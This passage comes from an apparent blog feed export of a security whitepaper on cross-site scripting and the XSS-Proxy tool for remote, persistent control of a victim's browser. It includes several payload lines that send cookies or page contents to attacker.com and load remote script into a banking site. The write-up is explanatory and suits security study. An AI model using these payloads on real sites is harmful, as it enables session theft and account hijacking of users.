while the other site passed the initial script call to the victim browser. An attacker &lt;br /&gt;
using something like Nikto thru the XSS-Proxy tool could attack the 2nd target site while &lt;br /&gt;
masquerading as the victim - XSS could be leveraged for other web vulnerability &lt;br /&gt;
exploitation.&amp;nbsp; The site administrators would never know where the attack server was &lt;br /&gt;
located without a complete analysis of victim system during the attack. XSS-Proxy does &lt;br /&gt;
not handle this right now, but I&#39;ve got some code additions soon that will allow it.&lt;br /&gt;
&lt;br /&gt;
The basic controlled attack and it&#39;s extensions are very evil, and any other future DOM &lt;br /&gt;
interwindow trust vulnerabilities in browsers (like the recent drop window to tab Firefox &lt;br /&gt;
vulnerability) make the issue even worse as _all_ sites a victim has access to could also &lt;br /&gt;
be accessed by an attacker. Right now XSS-Proxy only grabs document contents (HTML/Text) &lt;br /&gt;
and images, files, and other contents are not downloaded to the attacker.&amp;nbsp; Remote &lt;br /&gt;
retrieval of these other file types could be made possible with XSS re-injection and use &lt;br /&gt;
of functions like XMLHTTP for arbitrary binary content from the target server.&lt;br /&gt;
&lt;br /&gt;
** Development Site and Additional Information **&lt;br /&gt;
XSS-Proxy is available at http://sourceforge.net/projects/xss-proxy&lt;br /&gt;
&lt;br /&gt;
Home page with more detailed whitepaper, some diagrams, screenshots and my &lt;br /&gt;
Shmoocon slides is at http://xss-proxy.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
** References **&lt;br /&gt;
(1) CGISecurity&#39;s Cross Site Scripting FAQ &lt;br /&gt;
http://www.cgisecurity.com/articles/xss-faq.shtml&lt;br /&gt;
(2) Gunter Ollmann&#39;s XSS paper&lt;br /&gt;
http://www.technicalinfo.net/papers/CSS.html&lt;br /&gt;
(3) PeterW&#39;s Cross Site Request Forgery (CSRF) Concept&lt;br /&gt;
http://www.securityfocus.com/archive/1/191390&lt;br /&gt;
(4) SecureNet&#39;s Session Riding paper&lt;br /&gt;
http://www.securenet.de/papers/Session_Riding.pdf&lt;br /&gt;
(5) CERT info on XSS&lt;br /&gt;
http://www.cert.org/advisories/CA-2000-02.html&lt;br /&gt;
(6) Remote Scripting with IFRAMEs&lt;br /&gt;
http://developer.apple.com/internet/webcontent/iframe.html&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/6209456102084731826/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/6209456102084731826?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/6209456102084731826'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/6209456102084731826'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2012/06/advanced-cross-site-scripting.html' title='Advanced Cross-Site-Scripting'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3DT4iznP92q5q8F9JusrqH5oaeUDCFUw25crwWHJcXzW4Ksg1M3oy5jZeRHldmyGRCnv2pfChFtEHUNGYahrGLR4pZ3nBPbaStOutAV1US06hYJULCADxppUV2YtDNTJPFI0s2quEjjg/s72-c/xss.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-6235237535507731681</id><published>2012-06-02T22:30:00.003-07:00</published><updated>2012-06-02T22:34:13.508-07:00</updated><title type='text'>Advanced Cross-Site-Scripting with Real-time Remote Attacker Control</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; A Mini-Whitepaper&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWS3GewmQPCEkVjagBXy8GKJ-M3BOfRe6IVr_OUWtSWYvwlj1zSGm1eNRH0u-ZyckVu5Ab7BEJTi1D_PlIDC4XtHwY7FrvD6cNE1nYFa4BSPdVJssaPs7XILAyZco9i1Okmhyphenhyphen2EGgAcyE/s1600/ukryte_furtki_rys41043333064108.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;262&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWS3GewmQPCEkVjagBXy8GKJ-M3BOfRe6IVr_OUWtSWYvwlj1zSGm1eNRH0u-ZyckVu5Ab7BEJTi1D_PlIDC4XtHwY7FrvD6cNE1nYFa4BSPdVJssaPs7XILAyZco9i1Okmhyphenhyphen2EGgAcyE/s320/ukryte_furtki_rys41043333064108.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Advanced Cross-Site-Scripting with Real-time Remote Attacker Control&lt;br /&gt;
&lt;br /&gt;
Author: Untamed&lt;br /&gt;
Date: 6/2/2012&lt;br /&gt;
&lt;br /&gt;
** Introduction **&lt;br /&gt;
Cross Site Scripting (XSS) is typically perceived as a minimal threat by many &lt;br /&gt;
developers and security professionals. There have been some good papers in the past &lt;br /&gt;
that should have woken folks up to the potential risks of XSS, but the problem is &lt;br /&gt;
still prevalent and most security folks are un-interested in the issue and its &lt;br /&gt;
ramifications. I hope to change that perception with this paper and the release of &lt;br /&gt;
a tool called XSS-Proxy that allows XSS attacks to be fully controlled by a remote &lt;br /&gt;
attacker. This paper describes current XSS attacks and introduces new methods/tool &lt;br /&gt;
for making XSS attacks interactive, bi-directional, persistent and much more evil.&lt;br /&gt;
&lt;br /&gt;
This is not a detailed XSS HowTo, but an explanation of methods for taking XSS attacks &lt;br /&gt;
much further. CGISecurity&#39;s XSS FAQ (1) is a good resource for a better overview of &lt;br /&gt;
general XSS issues. I&#39;ve also included several references (2,3,4,5) at the end of this &lt;br /&gt;
paper that are also great material on XSS and related topics. &lt;br /&gt;
&lt;br /&gt;
This is also not a discussion on solutions as there are many resources on methods for &lt;br /&gt;
finding and fixing XSS holes. The extended attacks I introduce here bypass many of &lt;br /&gt;
the XSS mitigation methods I&#39;ve seen other papers recommend (like hidden form inputs, &lt;br /&gt;
URL re-writing, POST methods, etc), as the attacker has access to the same site contents &lt;br /&gt;
(and jscript/values) as the victim. The only realistic solution is to either discard any &lt;br /&gt;
HTML and special char inputs or carefully, carefully filter to allow only certain things &lt;br /&gt;
in user input - event many sites that try to filter tags/chars can be tricked into XSS. &lt;br /&gt;
Another solution may be to partition sites into multiple document domains so it&#39;s more &lt;br /&gt;
difficult for an XSS vulnerability in one document domain to allow access to other areas &lt;br /&gt;
in the other domains. Perhaps putting site-search CGIs in one subdomain and sensitive &lt;br /&gt;
site areas in another would be useful.&lt;br /&gt;
&lt;br /&gt;
** Brief XSS Background **&lt;br /&gt;
As many here probably know, current XSS attacks typically come in two flavors: &lt;br /&gt;
1 - Attacker uploads &amp;lt;script&amp;gt; tags to a public bulliten board, blog, or other site that &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; has an XSS vulnerability and that lots of other users will visit. Attacker normally &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; harvests site cookies for later user impersonation, but form submits and other attacks &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; are sometimes utilized. This is what many folks I talk to think XSS is. &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Here&#39;s an example:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Someone would post the following on evilblog.com that other users would process&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;script&amp;gt;document.write(&quot;&amp;lt;img src=http://attacker.com/” + document.cookie + “&amp;gt;”)&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; This would try to pull an image off the attacker&#39;s server with the user&#39;s evilblog&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; cookies in the URL.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
2 - Attacker uses a public XSS vulnerable site like above, or an XSS based email message &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; to redirect a user to a second XSS vulnerable server. The second server is the &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; attacker’s actual target and this site normally has a self-XSS issue where a user can &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; inject &amp;lt;script&amp;gt; content into a document that only that user will see. This combined &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; with the redirection from another site can allow cookie leakage, form/submit content &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; leakage, or a specific action to perform as the XSS&#39;d user against the second site. &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; This is well known, but I tend to see less site administrators that understand this &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; flavor of the attack. &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Here&#39;s how that would work:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Someone would post the following on evilblog.com that other users would process:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;script&amp;gt;document.location=’http://banking.com/search?name=&amp;lt;script&amp;gt;document.write(&quot;&amp;lt;img src=http://attacker.com/” + document.cookie + “&amp;gt;”)&amp;lt;/script&amp;gt;’&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; When the user is redirected to banking.com with the above XSS, this is what will be&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; returned to the user and executed:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;script&amp;gt;document.write(&quot;&amp;lt;img src=http://attacker.com/” + document.cookie + “&amp;gt;”)&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; This would try to pull an image off the attacker&#39;s server with the user&#39;s banking.com &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; cookies in the URL.&lt;br /&gt;
&lt;br /&gt;
In the past other folks have also pointed out that more advanced site manipulation can &lt;br /&gt;
be achieved with an XSS script that opens an IFRAME (or other window-like element) and &lt;br /&gt;
loads/submits for other documents on the same site.&amp;nbsp; DOM trust will allow Javascript to &lt;br /&gt;
interact with other windows/IFRAMEs it creates, as long as the windows point to the same &lt;br /&gt;
document domain (protocol + domain_name + port).&lt;br /&gt;
&lt;br /&gt;
The current methods of XSS attacks are typically limited only a single transaction at the &lt;br /&gt;
final target site and typically result in cookie harvesting or form submission leakage.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
** Basics of XSS-Proxy / Attack **&lt;br /&gt;
I have extended the normal XSS attack and combined it with the ability to pull additional &lt;br /&gt;
Javascript commands from arbitrary remote servers (aka Javascript Remoting - see (6) for &lt;br /&gt;
details with IFRAMEs) to allow XSS to be more than just a redirect with some cookie &lt;br /&gt;
leakage.&amp;nbsp; This combination allows an attacker to establish a persistent, bi-directional &lt;br /&gt;
control/transfer channel to an XSS victim and access XSS’d sites as that victim. As long &lt;br /&gt;
as the victim is tricked into leaving the XSS window open and in the same location, we &lt;br /&gt;
have almost total control of the victim’s browser against the XSS site with the ability &lt;br /&gt;
to redirect to other XSS vulnerable sites or forward specific blind requests to other &lt;br /&gt;
servers (see (3) on performing Cross-Site-Request-Forgeries aka CSRF and (4) on Session-&lt;br /&gt;
Riding).&lt;br /&gt;
&lt;br /&gt;
This is achieved with either of the two attacks described above, but we will describe the two &lt;br /&gt;
server XSS redirect example. A victim gets an XSS vector via blog, comment board, email, etc &lt;br /&gt;
(Let’s assume our victim surfed to some public site where other users can create XSS - we’ll &lt;br /&gt;
call the site evilblog.com) and that Javascript content redirects the user to a second site (we’ll &lt;br /&gt;
call the second site banking.com and assume the site has an XSS in a search function that we &lt;br /&gt;
can repeat with a GET). The redirect URL refers to a vulnerable section (cgi/etc) on the &lt;br /&gt;
second server that will cause the server&#39;s response to contain attacker supplied &lt;br /&gt;
Javascript commands that the victim executes.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; The initial XSS vector on evilblog.com would look something like this: &lt;br /&gt;
&amp;nbsp; &amp;lt;script&amp;gt;document.location=”http://banking.com/search?name=&amp;lt;script src=’http://attacker.com/xss.js’&amp;gt;&amp;lt;/script&amp;gt;”&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; With the above XSS vector, the page returned by the second server (banking.com) would &lt;br /&gt;
&amp;nbsp; contain the following: &lt;br /&gt;
&amp;nbsp; &amp;lt;script src=&#39;http://attacker.com/xss.js&#39;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The victim window now has a current document domain of banking.com and the Javascript &lt;br /&gt;
commands are running in that domain. This Javascript causes the victim to make a request &lt;br /&gt;
to http://attacker.com for more script commands. The XSS-Proxy utility is actually running &lt;br /&gt;
at attacker.com and serves up some Javascript to initialize this client that consists of &lt;br /&gt;
several functions for document reading, submission processing, response forwarding and &lt;br /&gt;
error handling, as well as some commands to create an IFRAME, load the root document (/) &lt;br /&gt;
of the target server (banking.com) into that IFRAME, wait a few seconds for it to load, &lt;br /&gt;
read the contents (using innerHTML), then make more script requests to &lt;br /&gt;
http://attacker.com. Sounds complex, but it&#39;s just several functions some references &lt;br /&gt;
to those functions and a timer event to make more script calls to the XSS-Proxy server.&amp;nbsp; The &lt;br /&gt;
functions will stay in memory as long as the victim window doesn&#39;t change. Two things actually &lt;br /&gt;
happen when the victim makes the subsequent script requests to http://attacker.com: &lt;br /&gt;
1 - Contents of the document in the IFRAME (results of innerHTML for that object) are &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; leaked in the URL of script request. Script requests are just GETs, so victim requests &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; the script like a normal document, and stacks parms/info on the URL after the &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; script/page name.&amp;nbsp; This script request would appear somewhat like the following at the &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; attacker&#39;s server: &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; GET /xss.js?data=Encoded_innerHTML_Contents HTTP/1.1&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; It&#39;s actually a bit more complex than that as IE limits URL lengths (to around 2049 &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; chars), so most documents will need to be chunked up into sections that will fit on &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; the script URL requests. The actual tool tries to handle that, so puts some additional &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; info into the URL requests for re-assembly.&lt;br /&gt;
&lt;br /&gt;
2 - The server at http://attacker.com will respond to the last script request with more &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; script commands to continue the persistence. The server will either respond with loop &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; request (basically tells victim wait a few secs, then check back for more script &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; commands), a document request (load doc into IFRAME, read it and forward results while &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; getting more script commands), a submit requests (set input values in form within &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; IFRAME, submit, await response, read response and forward results back while getting &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; more commands), or a javascript var/function evaluation requests (evaluate an expression &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; within the current window of victim browser and return result+get commands). This &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; process continues as long as the victim stays on the same page.&lt;br /&gt;
&lt;br /&gt;
Here&#39;s an ASCII visual of the Window and attacker target relationships after victim is &lt;br /&gt;
redirected to final Target and hijack session is initialized:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Attacker (XSS-Proxy)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ^&amp;nbsp; |&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; |&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; commands and responses&lt;br /&gt;
Victim Browser&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; |&lt;br /&gt;
&amp;nbsp;-----------------------------|--|-------------&lt;br /&gt;
|Main Window&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; v&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
| - This is where our resident functions run&amp;nbsp;&amp;nbsp; | &lt;br /&gt;
| - Commands from attack console execute here &amp;lt;------&lt;br /&gt;
| - Create IFRAME below and read/writes to it&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
| - Victim polls every few sec for new commands|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | ^&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -------------------|-|--------------&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | IFRAME&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; v |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | - This is our document &quot;loader&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | - other documents on target site&amp;nbsp;&amp;nbsp; |&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; are loaded here and read by code |&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ^&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp; outside the IFRAME (main)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; |&amp;nbsp;&amp;nbsp; Initial&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; |&amp;nbsp; XSS vector&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ^ |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; |&amp;nbsp;&amp;nbsp; to load&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&amp;nbsp; |&amp;nbsp; functions&lt;br /&gt;
|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ----------------------|-|-----------&amp;nbsp;&amp;nbsp; |&amp;nbsp;&amp;nbsp;&amp;nbsp; from &lt;br /&gt;
&amp;nbsp;-----------------------------|-|--------------&amp;nbsp;&amp;nbsp; XSS-Proxy &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; | |&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; |&lt;br /&gt;
